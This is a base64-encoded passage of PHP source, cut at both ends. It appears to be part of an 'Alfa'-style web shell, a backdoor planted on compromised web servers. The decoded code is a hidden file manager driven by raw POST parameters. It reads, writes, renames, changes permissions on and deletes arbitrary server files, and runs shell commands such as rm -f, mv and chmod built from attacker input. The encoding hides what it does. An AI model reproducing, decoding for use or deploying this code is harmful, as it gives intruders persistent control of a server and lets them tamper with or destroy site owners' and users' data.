sZXRlXCcsIFwnJy4kcmF3X25hbWUuJ1wnKSA6IFwnXCc7Ij4gWCA8L2E+PC90ZD48L3RyPic7DQokbCA9ICRsPzA6MTsNCiRjYysrOw0KfQ0KZWNobyAiPHRyIGlkPSdmaWxlbWFuYWdlcl9sYXN0X3RyJz48dGQgY29sc3Bhbj03Pg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNYW4nPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCgkR0xPQkFMU1snZ2xvYl9jaGRpcl9mYWxzZSddPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSkpLiInPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuIic+DQo8c2VsZWN0IGlkPSd0b29sc19zZWxlY3RvcicgbmFtZT0nYWxmYTEnPjxvcHRpb24gdmFsdWU9J2NvcHknPkNvcHk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdtb3ZlJz5Nb3ZlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nZGVsZXRlJyBzZWxlY3RlZD5EZWxldGU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd6aXAnPkFkZCAyIENvbXByZXNzICh6aXApPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ndW56aXAnPkFkZCAyIFVuY29tcHJlc3MgKHppcCk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdwYXN0ZSc+UGFzdGUgLyBaaXAgLyBVbnppcCA8L29wdGlvbj48L3NlbGVjdD4NCjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz4NCjwvZm9ybT48L3RhYmxlPjxkaXYgY2xhc3M9J3BhZ2VzLWhvbGRlcic+PGRpdiBjbGFzcz0ncGFnZXMtbnVtYmVyJz4iLiRwYWdlX2J1aWxkZXIuIjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2PiI7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBnZXRfcGFnaW5hdGlvbl9saW5rcygkY3VycmVudF9wYWdlLCAkdG90YWxfcGFnZXMpew0KICAgICRsaW5rcyA9ICIiOw0KICAgIGlmICgkdG90YWxfcGFnZXMgPj0gMSAmJiAkY3VycmVudF9wYWdlIDw9ICR0b3RhbF9wYWdlcykgew0KCQkkbGlua3MgLj0gIjxhIG9uY2xpY2s9XCJwYWdlQ2hhbmdlZEZpbGVzTWFuKHRoaXMpO1wiIGNsYXNzPVwicGFnZS1udW1iZXJcIj48PDwvYT4iOw0KCQkkc2VsZWN0ZWRfcGFnZSA9ICIiOw0KCQlpZigkY3VycmVudF9wYWdlID09IDEpew0KCQkJJHNlbGVjdGVkX3BhZ2UgPSAiIGFjdGl2ZS1wYWdlLW51bWJlciI7DQoJCX0NCiAgICAgICAgJGxpbmtzIC49ICI8YSBvbmNsaWNrPVwicGFnZUNoYW5nZWRGaWxlc01hbih0aGlzKTtcIiBjbGFzcz1cInBhZ2UtbnVtYmVyIi4kc2VsZWN0ZWRfcGFnZS4iXCI+MTwvYT4iOw0KICAgICAgICAkaSA9IG1heCgyLCAkY3VycmVudF9wYWdlIC0gNSk7DQogICAgICAgIGlmICgkaSA+IDIpDQogICAgICAgICAgICAkbGlua3MgLj0gIjxhIGNsYXNzPVwicGFnZS1udW1iZXJcIj4uLi48L2E+IjsNCiAgICAgICAgZm9yICg7ICRpIDwgbWluKCRjdXJyZW50X3BhZ2UgKyA2LCAkdG90YWxfcGFnZXMpOyAkaSsrKSB7DQoJCQlpZigkaSA9PSAkY3VycmVudF9wYWdlKXsNCgkJCQkkc2VsZWN0ZWRfcGFnZSA9ICIgYWN0aXZlLXBhZ2UtbnVtYmVyIjsNCgkJCX1lbHNlew0KCQkJCSRzZWxlY3RlZF9wYWdlID0gIiI7DQoJCQl9DQogICAgICAgICAgICAkbGlua3MgLj0gIjxhIG9uY2xpY2s9XCJwYWdlQ2hhbmdlZEZpbGVzTWFuKHRoaXMpO1wiIGNsYXNzPVwicGFnZS1udW1iZXIiLiRzZWxlY3RlZF9wYWdlLiJcIj57JGl9PC9hPiI7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRpICE9ICR0b3RhbF9wYWdlcykNCiAgICAgICAgICAgICRsaW5rcyAuPSAiPGEgY2xhc3M9XCJwYWdlLW51bWJlclwiPi4uLjwvYT4iOw0KCQkkc2VsZWN0ZWRfcGFnZSA9ICIgbGFzdC1wYWdlLW51bWJlciI7DQoJCWlmKCRjdXJyZW50X3BhZ2UgPT0gJHRvdGFsX3BhZ2VzKXsNCgkJCSRzZWxlY3RlZF9wYWdlIC49ICIgYWN0aXZlLXBhZ2UtbnVtYmVyIjsNCgkJfQ0KICAgICAgICAkbGlua3MgLj0gIjxhIG9uY2xpY2s9XCJwYWdlQ2hhbmdlZEZpbGVzTWFuKHRoaXMpO1wiIGNsYXNzPVwicGFnZS1udW1iZXIiLiRzZWxlY3RlZF9wYWdlLiJcIj57JHRvdGFsX3BhZ2VzfTwvYT4iOw0KCQkkbGlua3MgLj0gIjxhIG9uY2xpY2s9XCJwYWdlQ2hhbmdlZEZpbGVzTWFuKHRoaXMpO1wiIGNsYXNzPVwicGFnZS1udW1iZXJcIj4+PjwvYT4iOw0KICAgIH0NCiAgICByZXR1cm4gJGxpbmtzOw0KfQ0KZnVuY3Rpb24gYWxmYUZpbGVzVG9vbHMoKXsNCmFsZmFoZWFkKCk7DQplY2hvICc8ZGl2IGNsYXNzPSJmaWxlc3Rvb2xzIiBzdHlsZT0iaGVpZ2h0OiAxMDAlOyI+JzsNCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkpJF9QT1NUWydhbGZhMSddID0gcmF3dXJsZGVjb2RlKCRfUE9TVFsnYWxmYTEnXSk7DQokYWxmYTFfZGVjb2RlZCA9ICRfUE9TVFsnYWxmYTEnXTsNCiRjaGRpcl9mYWxzID0gZmFsc2U7DQppZighQGNoZGlyKCRfUE9TVFsnYyddKSl7DQoJJGNoZGlyX2ZhbHMgPSB0cnVlOw0KCSRfUE9TVFsnYWxmYTEnXSA9ICRfUE9TVFsiYyJdLiIvIi4kX1BPU1RbImFsZmExIl07DQoJJGFsZmFfY2FucnVuY21kID0gX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKTsNCglpZigkYWxmYV9jYW5ydW5jbWQpew0KCQkkc2xhc2hlZF9hbGZhMSA9IGFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMSddKTsNCgkJJGZpbGVfaW5mbyA9IGV4cGxvZGUoIjoiLCBhbGZhRXgoJ3N0YXQgLWMgIiVGOiVVOiVHOiVzOiVZOjAlYTolQSIgIicuJHNsYXNoZWRfYWxmYTEuJyInKSk7DQoJCSRwZXJtX2NvbG9yX2NsYXNzID0gYWxmYUV4KCJpZiBbWyAtdyAnIi4kc2xhc2hlZF9hbGZhMS4iJyBdXTsgdGhlbiBlY2hvIG1haW5fZ3JlZW5fcGVybTsgZWxpZiBbWyAtciAnIi4kc2xhc2hlZF9hbGZhMS4iJyBdXTsgdGhlbiBlY2hvIG1haW5fd2hpdGVfcGVybTsgZWxzZSBlY2hvIG1haW5fcmVkX3Blcm07IGZpIik7DQoJfQ0KfQ0KaWYoJF9QT1NUWydhbGZhMiddID09ICdhdXRvJyl7DQppZihpc19hcnJheShAZ2V0aW1hZ2VzaXplKCRfUE9TVFsnYWxmYTEnXSkpKXsNCiRfUE9TVFsnYWxmYTInXSA9ICdpbWFnZSc7DQp9ZWxzZXsNCgkkX1BPU1RbJ2FsZmEyJ10gPSAndmlldyc7DQoJaWYoJGNoZGlyX2ZhbHMpew0KCQlpZigkYWxmYV9jYW5ydW5jbWQpew0KCQkJJG1pbWUgPSBleHBsb2RlKCI6IiwgYWxmYUV4KCJmaWxlIC0tbWltZS10eXBlICciLmFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMSddKS4iJyIpKTsNCgkJCSRtaW1ldHlwZSA9ICRtaW1lWzFdOw0KCQkJaWYoIWVtcHR5KCRtaW1ldHlwZSkpew0KCQkJCWlmKHN0cnN0cigkbWltZXR5cGUsICJpbWFnZSIpKXsNCgkJCQkJJF9QT1NUWydhbGZhMiddID0gJ2ltYWdlJzsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQp9DQp9DQppZigkX1BPU1RbJ2FsZmEyJ10gPT0gInJlbmFtZSIgJiYgIWVtcHR5KCRfUE9TVFsnYWxmYTMnXSkgJiYgQGlzX3dyaXRhYmxlKCRfUE9TVFsnYWxmYTEnXSkpeyRyZW5hbWVfY2FjaGUgPSAkX1BPU1RbJ2FsZmEzJ107fQ0KaWYoQCRfUE9TVFsnYWxmYTInXSA9PSAnbWtmaWxlJyl7DQokX1BPU1RbJ2FsZmExJ10gPSB0cmltKCRfUE9TVFsnYWxmYTEnXSk7DQppZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsNCglpZihfYWxmYV9pc193cml0YWJsZSgkX1BPU1RbImMiXSkpew0KCQlhbGZhRXgoImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInO3RvdWNoICciLmFkZHNsYXNoZXMoJGFsZmExX2RlY29kZWQpLiInIik7DQoJCSRfUE9TVFsnYWxmYTInXSA9ICJlZGl0IjsNCgl9DQp9DQppZighQGZpbGVfZXhpc3RzKCRfUE9TVFsnYWxmYTEnXSkpew0KJGZwID0gQGZvcGVuKCRfUE9TVFsnYWxmYTEnXSwgJ3cnKTsNCmlmKCRmcCl7DQokX1BPU1RbJ2FsZmEyJ10gPSAiZWRpdCI7DQpmY2xvc2UoJGZwKTsNCn0NCn1lbHNlew0KJF9QT1NUWydhbGZhMiddID0gImVkaXQiOw0KfQ0KfQ0KaWYoIV9hbGZhX2ZpbGVfZXhpc3RzKEAkX1BPU1RbJ2FsZmExJ10pKXsNCmVjaG8gX19wcmUoKS4iPGNlbnRlcj48cD48ZGl2IGNsYXNzPVwidHh0Zm9udFwiPjxmb250IGNvbG9yPSdyZWQnPiEuLi5GSUxFIERPRVNUIE5PVCBFWElUUy4uLiE8L2ZvbnQ+PC9kaXY+PC9wPjwvY2VudGVyPjwvZGl2PjxzY3JpcHQ+ZWRpdG9yX2Vycm9yPWZhbHNlO3JlbW92ZUhpc3RvcnkoJyIuJF9QT1NUWydhbGZhNCddLiInKTs8L3NjcmlwdD4iOw0KYWxmYUZvb3RlcigpOw0KcmV0dXJuOw0KfQ0KaWYoJGNoZGlyX2ZhbHMpew0KJGZpbGVzaXplID0gJGZpbGVfaW5mb1szXTsNCiR1aWRbIm5hbWUiXSA9ICRmaWxlX2luZm9bMV07DQokZ2lkWyJuYW1lIl0gPSAkZmlsZV9pbmZvWzJdOw0KJHBlcm1jb2xvciA9IGFsZmFQZXJtc0NvbG9yKGFycmF5KCJjbGFzcyI9PiRwZXJtX2NvbG9yX2NsYXNzLCJudW0iPT4kZmlsZV9pbmZvWzVdLCJodW1hbiI9PiRmaWxlX2luZm9bNl0pLHRydWUpOw0KfWVsc2V7DQokdWlkID0gZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpJiZmdW5jdGlvbl9leGlzdHMoImZpbGVvd25lciIpP0Bwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsnYWxmYTEnXSkpOicnOw0KJGdpZCA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlZ3JvdXAiKT9AcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkX1BPU1RbJ2FsZmExJ10pKTonJzsNCmlmKCEkdWlkJiYhJGdpZCl7DQokdWlkWyduYW1lJ10gPSBmdW5jdGlvbl9leGlzdHMoImZpbGVvd25lciIpP0BmaWxlb3duZXIoJF9QT1NUWydhbGZhMSddKTonJzsNCiRnaWRbJ25hbWUnXSA9IGZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QGZpbGVncm91cCgkX1BPU1RbJ2FsZmExJ10pOicnOw0KfQ0KJHBlcm1jb2xvciA9IGFsZmFQZXJtc0NvbG9yKCRfUE9TVFsnYWxmYTEnXSk7DQokZmlsZXNpemUgPSBAZmlsZXNpemUoJF9QT1NUWydhbGZhMSddKTsNCmlmKCFpc3NldCgkdWlkWyduYW1lJ10sJGdpZFsnbmFtZSddKXx8ZW1wdHkoJHVpZFsnbmFtZSddKXx8ZW1wdHkoJGdpZFsnbmFtZSddKSl7DQoJaWYoX2FsZmFfY2FuX3J1bkNvbW1hbmQoKSl7DQoJCWxpc3QoJHVpZFsnbmFtZSddLCRnaWRbJ25hbWUnXSkgPSBleHBsb2RlKCI6IiwgYWxmYUV4KCdzdGF0IC1jICIlVTolRyIgIicuYWRkc2xhc2hlcygkX1BPU1RbImMiXS4iLyIuJF9QT1NUWyJhbGZhMSJdKS4nIicpKTsNCgl9DQp9DQp9DQppZihzdWJzdHIoJF9QT1NUWydhbGZhMSddLCAwLCA3KSA9PSAicGhhcjovLyIpew0KCSRhbGZhX2ZpbGVfZGlyZWN0b3J5ID0gJF9QT1NUWydhbGZhMSddOw0KfWVsc2V7DQoJJGFsZmFfZmlsZV9kaXJlY3RvcnkgPSBzdHJfcmVwbGFjZSgiLy8iLCAiLyIsKCRjaGRpcl9mYWxzPyIiOiRfUE9TVFsnYyddLicvJykuJF9QT1NUWydhbGZhMSddKTsNCn0NCmVjaG8gJzxkaXYgc3R5bGU9Im92ZXJmbG93OiBoaWRkZW47d2hpdGUtc3BhY2U6IG5vd3JhcDt0ZXh0LW92ZXJmbG93OiBlbGxpcHNpczsiPjxzcGFuIGNsYXNzPSJlZGl0b3JfZmlsZV9pbmZvX3ZhcnMiPk5hbWU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoYmFzZW5hbWUoJGFsZmExX2RlY29kZWQpKS4nIDxzcGFuIGNsYXNzPSJlZGl0b3JfZmlsZV9pbmZvX3ZhcnMiPlNpemU6PC9zcGFuPiAnLmFsZmFTaXplKCRmaWxlc2l6ZSkuJyA8c3BhbiBjbGFzcz0iZWRpdG9yX2ZpbGVfaW5mb192YXJzIj5QZXJtaXNzaW9uOjwvc3Bhbj4gJy4kcGVybWNvbG9yLicgPHNwYW4gY2xhc3M9ImVkaXRvcl9maWxlX2luZm9fdmFycyI+T3duZXIvR3JvdXA6PC9zcGFuPiAnLiR1aWRbJ25hbWUnXS4nLycuJGdpZFsnbmFtZSddLicgPHNwYW4gY2xhc3M9ImVkaXRvcl9maWxlX2luZm9fdmFycyI+RGlyZWN0b3J5Ojwvc3Bhbj4gJy5kaXJuYW1lKCRhbGZhX2ZpbGVfZGlyZWN0b3J5KS4nPC9kaXY+JzsNCmlmKGVtcHR5KCRfUE9TVFsnYWxmYTInXSkpJF9QT1NUWydhbGZhMiddID0gJ3ZpZXcnOw0KaWYoIV9hbGZhX2lzX2RpcigkX1BPU1RbJ2FsZmExJ10pKXsNCiRtID0gYXJyYXkoJ1ZpZXcnLCAnRG93bmxvYWQnLCAnSGlnaGxpZ2h0JywgJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcsICdEZWxldGUnLCAnSW1hZ2UnLCAnSGV4ZHVtcCcpOw0KJGZ0eXBlID0gImZpbGUiOw0KfWVsc2V7DQokbSA9IGFycmF5KCdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsNCiRmdHlwZSA9ICJkaXIiOw0KfQ0KZWNobygnPGRpdj4nKTsNCmZvcmVhY2goJG0gYXMgJHYpDQplY2hvICR2ID09ICdEZWxldGUnID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9InZhciBjaGs9Y29uZmlybShcJ0FyZSBZb3UgU3VyZSBGb3IgRGVsZXRlIFRoaXMgRmlsZSA/XCcpO2Noaz9lZGl0b3IoXCcnLmFkZHNsYXNoZXMoIWlzc2V0KCRyZW5hbWVfY2FjaGUpPyRfUE9TVFsnYWxmYTEnXTokcmVuYW1lX2NhY2hlKS4nXCcsXCcnLnN0cnRvbG93ZXIoJHYpLidcJyxcJ1wnLFwnJy4kX1BPU1RbJ2MnXS4nXCcsXCcnLiRfUE9TVFsnYWxmYTQnXS4nXCcsXCcnLiRmdHlwZS4nXCcpOlwnXCc7Ij48c3BhbiBjbGFzcz0iZWRpdG9yX2FjdGlvbnMiPicuKChzdHJ0b2xvd2VyKCR2KT09QCRfUE9TVFsnYWxmYTInXSk/JzxiPjxzcGFuIGNsYXNzPSJlZGl0b3JfYWN0aW9ucyI+ICcuJHYuJyA8L3NwYW4+IDwvYj4nOiR2KS4nIHwgPC9zcGFuPjwvYT4gJyA6ICc8YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJlZGl0b3IoXCcnLmFkZHNsYXNoZXMoIWlzc2V0KCRyZW5hbWVfY2FjaGUpPyRfUE9TVFsnYWxmYTEnXTokcmVuYW1lX2NhY2hlKS4nXCcsXCcnLnN0cnRvbG93ZXIoJHYpLidcJyxcJ1wnLFwnJy4kX1BPU1RbJ2MnXS4nXCcsXCcnLiRfUE9TVFsnYWxmYTQnXS4nXCcsXCcnLiRmdHlwZS4nXCcpIj48c3BhbiBjbGFzcz0iZWRpdG9yX2FjdGlvbnMiPicuKChzdHJ0b2xvd2VyKCR2KT09QCRfUE9TVFsnYWxmYTInXSk/JzxiPjxzcGFuIGNsYXNzPSJlZGl0b3JfYWN0aW9ucyI+ICcuJHYuJyA8L3NwYW4+IDwvYj4nOiR2KS4nIHwgPC9zcGFuPjwvYT4nOw0KZWNobyAnPC9kaXY+JzsNCnN3aXRjaCgkX1BPU1RbJ2FsZmEyJ10pew0KY2FzZSAndmlldyc6Y2FzZSAnZWRpdCc6DQpAY2hkaXIoJF9QT1NUWydjJ10pOw0KJGRpc2FibGVkX2J0biA9ICIiOw0KaWYoIUBpc193cml0YWJsZSgkX1BPU1RbJ2FsZmExJ10pJiYhX2FsZmFfaXNfd3JpdGFibGUoJF9QT1NUWydhbGZhMSddKSl7DQokZGlzYWJsZWRfYnRuID0gImRpc2FibGVkPWRpc2FibGVkIjsNCiRkaXNhYmxlZF9idG5fc3R5bGU9ICdiYWNrZ3JvdW5kOiAjZmYwMDAwO2NvbG9yOiAjZmZmOyc7DQp9DQppZighZW1wdHkoJF9QT1NUWydhbGZhMyddKSl7DQokX1BPU1RbJ2FsZmEzJ10gPSBzdWJzdHIoJF9QT1NUWydhbGZhMyddLDEpOw0KJHRpbWUgPSBAZmlsZW10aW1lKCRfUE9TVFsnYWxmYTEnXSk7DQokZnAgPSBAX193cml0ZV9maWxlKCRfUE9TVFsnYWxmYTEnXSwkX1BPU1RbJ2FsZmEzJ10pOw0KaWYoJGNoZGlyX2ZhbHMmJiRhbGZhX2NhbnJ1bmNtZCl7DQoJJHJuYW1lID0gJGFsZmExX2RlY29kZWQ7DQoJJHJhbmRuYW1lID0gJHJuYW1lLnJhbmQoMTExLDk5OTkpOw0KCSRmaWxlcGF0aCA9IGRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKS4iLyIuJHJhbmRuYW1lOw0KCWlmKCRmcCA9IEBfX3dyaXRlX2ZpbGUoJGZpbGVwYXRoICwkX1BPU1RbJ2FsZmEzJ10pKXsNCgkJYWxmYUV4KCJtdiAnIi5hZGRzbGFzaGVzKCRmaWxlcGF0aCkuIicgJyIuYWRkc2xhc2hlcygkX1BPU1RbImFsZmExIl0pLiInO3JtIC1mICciLmFkZHNsYXNoZXMoJGZpbGVwYXRoKS4iJyIpOw0KCX0NCn0NCmlmKCRmcCl7DQplY2hvICdTYXZlZCE8YnI+JzsNCkB0b3VjaCgkX1BPU1RbJ2FsZmExJ10sJHRpbWUsJHRpbWUpOw0KfQ0KfQ0KZWNobyAnPGRpdiBjbGFzcz0iZWRpdG9yLXZpZXciPjxkaXYgY2xhc3M9InZpZXctY29udGVudCBlZGl0b3ItYWNlLWNvbnRyb2xsZXIiPjxkaXYgc3R5bGU9ImRpc3BsYXk6aW5saW5lLWJsb2NrOyI+Jy5fYWxmYV9sb2FkX2FjZV9vcHRpb25zKCJlZGl0b3IiKS4nPGJ1dHRvbiBzdHlsZT0iYm9yZGVyLXJhZGl1czoxMHB4OyIgY2xhc3M9ImJ1dHRvbiBhY2UtY29udHJvbGVyIiBvbkNsaWNrPSJjb3B5VG9DbGlwYm9hcmQodGhpcyk7Ij5Db3B5PC9idXR0b24+IDxidXR0b24gY2xhc3M9ImJ1dHRvbiBhY2UtY29udHJvbGVyIiBvbmNsaWNrPSJhbGZhQWNlVG9GdWxsc2NyZWVuKHRoaXMpOyI+RnVsbCBTY3JlZW48L2J1dHRvbj4gPGJ1dHRvbiBvbmNsaWNrPSJ2YXIgYWNlX3ZhbCA9IGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yW3RoaXMuZ2V0QXR0cmlidXRlKFwnYWNlX2lkXCcpXS5nZXRWYWx1ZSgpO2VkaXRvcihcJycuYWRkc2xhc2hlcygkYWxmYTFfZGVjb2RlZCkuJ1wnLFwnZWRpdFwnLFwnMVwnK2FjZV92YWwsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJyxcJycuJGZ0eXBlLidcJyk7cmV0dXJuIGZhbHNlOyIgY2xhc3M9ImJ1dHRvbiBhY2UtY29udHJvbGVyIGFjZS1zYXZlLWJ0biIgc3R5bGU9IndpZHRoOiAxMDBweDtoZWlnaHQ6IDMzcHg7Jy4kZGlzYWJsZWRfYnRuX3N0eWxlLiciICcuJGRpc2FibGVkX2J0bi4nPnNhdmU8L2J1dHRvbj48L2Rpdj48cHJlIGNsYXNzPSJtbDEgdmlld19tbF9jb250ZW50Ij4nOw0KZWNobyBodG1sc3BlY2lhbGNoYXJzKF9fcmVhZF9maWxlKCRfUE9TVFsnYWxmYTEnXSkpOw0KZWNobyAnPC9wcmU+PC9kaXY+PC9kaXY+JzsNCmJyZWFrOw0KY2FzZSAnaGlnaGxpZ2h0JzoNCkBjaGRpcigkX1BPU1RbJ2MnXSk7DQppZihAaXNfcmVhZGFibGUoJF9QT1NUWydhbGZhMSddKSl7DQplY2hvICc8ZGl2IGNsYXNzPSJlZGl0b3ItdmlldyI+PGRpdiBjbGFzcz0idmlldy1jb250ZW50Ij48ZGl2IGNsYXNzPSJtbDEiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZTFlMWUxO2NvbG9yOmJsYWNrOyI+JzsNCiRjb2RlID0gQGhpZ2hsaWdodF9maWxlKCRfUE9TVFsnYWxmYTEnXSx0cnVlKTsNCmVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoJzxzcGFuICcsJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwkY29kZSkuJzwvZGl2PjwvZGl2PjwvZGl2Pic7DQp9DQpicmVhazsNCmNhc2UgJ2RlbGV0ZSc6DQpAY2hkaXIoJF9QT1NUWydjJ10pOw0KaWYoQGlzX3dyaXRhYmxlKCRfUE9TVFsnYWxmYTEnXSl8fCRHTE9CQUxTWyJnbG9iX2NoZGlyX2ZhbHNlIl0pew0KJGRlbGV0ZWQgPSB0cnVlOw0KaWYoIUB1bmxpbmsoJF9QT1NUWydhbGZhMSddKSl7DQoJJGRlbGV0ZWQgPSBmYWxzZTsNCglpZigkYWxmYV9jYW5ydW5jbWQpew0KCQlpZihfYWxmYV9pc193cml0YWJsZSgkX1BPU1RbJ2FsZmExJ10pKXsNCgkJCWFsZmFFeCgicm0gLWYgJyIuYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmExJ10pLiInIik7DQoJCQkkZGVsZXRlZCA9IHRydWU7DQoJCX0NCgl9DQp9DQppZigkZGVsZXRlZCllY2hvICdGaWxlIERlbGV0ZWQuLi48c2NyaXB0PnZhciBlbGVtID0gJCgiJy4kX1BPU1RbJ2FsZmE0J10uJyIpLnBhcmVudE5vZGU7ZWxlbS5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKGVsZW0pO2RlbGV0ZSBlZGl0b3JfZmlsZXNbIicuJF9QT1NUWydhbGZhNCddLiciXTs8L3NjcmlwdD4nO2Vsc2UgZWNobyAnRXJyb3IuLi4nO30NCmJyZWFrOw0KY2FzZSAnY2htb2QnOg0KQGNoZGlyKCRfUE9TVFsnYyddKTsNCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pKXsNCiRwZXJtcyA9IDA7DQpmb3IoJGk9c3RybGVuKCRfUE9TVFsnYWxmYTMnXSktMTskaT49MDstLSRpKQ0KJHBlcm1zICs9IChpbnQpJF9QT1NUWydhbGZhMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ2FsZmEzJ10pLSRpLTEpKTsNCmlmKCFAY2htb2QoJF9QT1NUWydhbGZhMSddLCAkcGVybXMpKXsNCmlmKCRjaGRpcl9mYWxzJiYkYWxmYV9jYW5ydW5jbWQpew0KYWxmYUV4KCJjZCAnIi5hZGRzbGFzaGVzKCRfUE9TVFsiYyJdKS4iJztjaG1vZCAiLmFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMyddKS4iICciLmFkZHNsYXNoZXMoJGFsZmExX2RlY29kZWQpLiInIik7DQplY2hvKCdTdWNjZXNzIScpOw0KfWVsc2V7DQplY2hvICc8Zm9udCBjb2xvcj0iI0ZGRkZGRiI+PGI+Q2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8L2I+PC9mb250Pjxicj48c2NyaXB0PmRvY3VtZW50Lm1mLmFsZmEzLnZhbHVlPSIiOzwvc2NyaXB0Pic7fQ0KfWVsc2V7ZWNobygnU3VjY2VzcyEnKTt9DQp9DQpjbGVhcnN0YXRjYWNoZSgpOw0KQWxmYU51bSg4LDksMTAsNyw2LDUsNCwyLDEpOw0KaWYoJGNoZGlyX2ZhbHMpew0KCSRmaWxlX3Blcm0gPSAkZmlsZV9pbmZvWzVdOw0KfWVsc2V7DQoJJGZpbGVfcGVybSA9IHN1YnN0cihzcHJpbnRmKCclbycsIEBmaWxlcGVybXMoJF9QT1NUWydhbGZhMSddKSksLTQpOw0KfQ0KZWNobyAnPHNjcmlwdD5hbGZhM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImVkaXRvcihcJycuYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmExJ10pLidcJyxcJycuJF9QT1NUWydhbGZhMiddLidcJyx0aGlzLmNobW9kLnZhbHVlLFwnJy4kX1BPU1RbJ2MnXS4nXCcsXCcnLiRfUE9TVFsnYWxmYTQnXS4nXCcsXCcnLiRmdHlwZS4nXCcpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjaG1vZCIgdmFsdWU9IicuJGZpbGVfcGVybS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiAiPjwvZm9ybT4nOw0KYnJlYWs7DQpjYXNlICdoZXhkdW1wJzoNCkBjaGRpcigkX1BPU1RbJ2MnXSk7DQokYyA9IF9fcmVhZF9maWxlKCRfUE9TVFsnYWxmYTEnXSk7DQokbiA9IDA7DQokaCA9IGFycmF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsNCiRsZW4gPSBzdHJsZW4oJGMpOw0KZm9yICgkaT0wOyAkaTwkbGVuOyArKyRpKSB7DQokaFsxXSAuPSBzcHJpbnRmKCclMDJYJyxvcmQoJGNbJGldKSkuJyAnOw0Kc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7DQpjYXNlIDA6ICRoWzJdIC49ICcgJzsgYnJlYWs7DQpjYXNlIDk6ICRoWzJdIC49ICcgJzsgYnJlYWs7DQpjYXNlIDEwOiAkaFsyXSAuPSAnICc7IGJyZWFrOw0KY2FzZSAxMzogJGhbMl0gLj0gJyAnOyBicmVhazsNCmRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7DQp9DQokbisrOw0KaWYgKCRuID09IDMyKSB7DQokbiA9IDA7DQppZiAoJGkrMSA8ICRsZW4pIHskaFswXSAuPSBzcHJpbnRmKCclMDhYJywkaSsxKS4nPGJyPic7fQ0KJGhbMV0gLj0gJzxicj4nOw0KJGhbMl0gLj0gIlxuIjsNCn0NCn0NCmVjaG8gJzxkaXYgY2xhc3M9ImVkaXRvci12aWV3Ij48ZGl2IGNsYXNzPSJ2aWV3LWNvbnRlbnQiPjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj1ibGFjaz48dHI+PHRkIGJnY29sb3I9Z3JheT48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IG5vcm1hbDsiPjxwcmU+Jy4kaFswXS4nPC9wcmU+PC9zcGFuPjwvdGQ+PHRkIGJnY29sb3I9IzI4MjgyOD48cHJlPicuJGhbMV0uJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzMzMzMzMz48cHJlPicuaHRtbHNwZWNpYWxjaGFycygkaFsyXSkuJzwvcHJlPjwvdGQ+PC90cj48L3RhYmxlPjwvZGl2PjwvZGl2Pic7DQpicmVhazsNCmNhc2UgJ3JlbmFtZSc6DQpAY2hkaXIoJF9QT1NUWydjJ10pOw0KJGFsZmExX2VzY2FwZSA9IGFkZHNsYXNoZXMoJF9QT1N